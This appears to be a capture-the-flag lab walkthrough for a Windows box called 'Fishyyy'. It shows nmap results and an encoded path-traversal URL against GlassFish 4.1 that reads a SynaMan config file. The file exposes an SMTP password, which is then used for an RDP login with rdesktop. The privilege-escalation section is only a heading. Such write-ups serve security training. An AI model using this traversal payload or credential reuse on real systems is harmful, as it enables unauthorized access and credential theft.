TL;DR
- Credential Disclosure through LFI
- Previlege Escalation through vulnerable installation of TotalAV
Enumeration
Nmap
PORT STATE SERVICE VERSION3389/tcp open ms-wbt-server Microsoft Terminal Services| rdp-ntlm-info:| Target_Name: FISHYYY| NetBIOS_Domain_Name: FISHYYY| NetBIOS_Computer_Name: FISHYYY| DNS_Domain_Name: Fishyyy| DNS_Computer_Name: Fishyyy| Product_Version: 10.0.19041|_ System_Time: 2021-10-29T14:19:40+00:00|_ssl-date: 2021-10-29T14:19:58+00:00; -27d15h33m01s from scanner time.| ssl-cert: Subject: commonName=Fishyyy| Not valid before: 2021-10-27T11:48:08|_Not valid after: 2022-04-28T11:48:083700/tcp open giop CORBA naming service3820/tcp open ssl/giop CORBA naming service| ssl-cert: Subject: commonName=localhost/organizationName=Oracle Corporation/stateOrProvinceName=California/countryName=US| Not valid before: 2014-08-21T13:30:10|_Not valid after: 2024-08-18T13:30:10|_ssl-date: TLS randomness does not represent time3920/tcp open ssl/exasoftport1?| ssl-cert: Subject: commonName=localhost/organizationName=Oracle Corporation/stateOrProvinceName=California/countryName=US| Not valid before: 2014-08-21T13:30:10|_Not valid after: 2024-08-18T13:30:10|_ssl-date: TLS randomness does not represent time4848/tcp open http Sun GlassFish Open Source Edition 4.1|_http-title: Login6060/tcp open http Synametrics Web Server 7 (Syncrify)|_http-server-header: Synametrics Web Server v7|_http-title: Site doesn't have a title (text/html).7676/tcp open java-message-service Java Message Service 3018080/tcp open http Sun GlassFish Open Source Edition 4.1|_http-title: Data Web| http-methods:|_ Potentially risky methods: PUT DELETE TRACE8181/tcp open ssl/http Sun GlassFish Open Source Edition 4.1|_ssl-date: TLS randomness does not represent time| http-methods:|_ Potentially risky methods: PUT DELETE TRACE| ssl-cert: Subject: commonName=localhost/organizationName=Oracle Corporation/stateOrProvinceName=California/countryName=US| Not valid before: 2014-08-21T13:30:10|_Not valid after: 2024-08-18T13:30:10|_http-title: Data Web8686/tcp open java-rmi Java RMI| rmi-dumpregistry:| Fishyyy/7676/jmxrmi| javax.management.remote.rmi.RMIServerImpl_Stub| @169.254.10.3:49712| extends| java.rmi.server.RemoteStub| extends| java.rmi.server.RemoteObject| jmxrmi| javax.management.remote.rmi.RMIServerImpl_Stub| @169.254.10.3:8686| extends| java.rmi.server.RemoteStub| extends|_ java.rmi.server.RemoteObjectService Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:|_clock-skew: mean: -27d15h33m01s, deviation: 0s, median: -27d15h33m01s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 87.37 secondsPort 6060: SynaMan - v4.0: Credential Disclosure | exploit-db
Port 4848: GlassFish Server 4.1: LFI | exploit-db
Exploitation
Initial Access
Credential Disclosure through LFI
http://192.168.193.168:4848//theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afsynaman/config/AppConfig.xml
<Configuration><parameters><parameter name="adminEmail" type="1" value="admin@fish.pg"/><parameter name="smtpSecurity" type="1" value="None"/><parameter name="jvmPath" type="1" value="jre/bin/java"/><parameter name="userHomeRoot" type="1" value="C:\ProgramData\SynaManHome"/><parameter name="httpPortSSL" type="2" value="-1"/><parameter name="vmParams" type="1" value="-Xmx128m -DLoggingConfigFile=logconfig.xml"/><parameter name="httpPort" type="2" value="0"/><parameter name="synametricsUrl" type="1" value="http://synametrics.com/SynametricsWebApp/"/><parameter name="lastSelectedTab" type="1" value="1"/><parameter name="emailServerWebServicePort" type="2" value=""/><parameter name="imagePath" type="1" value="images/"/><parameter name="publicIPForUrl" type="1" value=""/><parameter name="defaultOperation" type="1" value="frontPage"/><parameter name="httpPort2" type="2" value="6060"/><parameter name="useUPnP" type="4" value="true"/><parameter name="smtpServer" type="1" value="mail.fish.pg"/><parameter name="smtpUser" type="1" value="arthur"/><parameter name="InitialSetupComplete" type="4" value="true"/><parameter name="failureOverHttpPort" type="2" value="55222"/><parameter name="disableCsrfPrevention" type="4" value="true"/><parameter name="httpIP" type="1" value=""/><parameter name="smtpPort" type="2" value="25"/><parameter name="emailServerWebServiceHost" type="1" value=""/><parameter name="smtpPassword" type="1" value="KingOfAtlantis"/><parameter name="ntServiceCommand" type="1" value="net start SynaMan"/><parameter name="mimicHtmlFiles" type="4" value="false"/></parameters></Configuration>RDP into the target machine using the credential arthur:KingOfAtlantis
$ rdesktop -u arthur -p "KingOfAtlantis" $ip -g 90%Privilege Escalation
TotalAV Privilege Escalation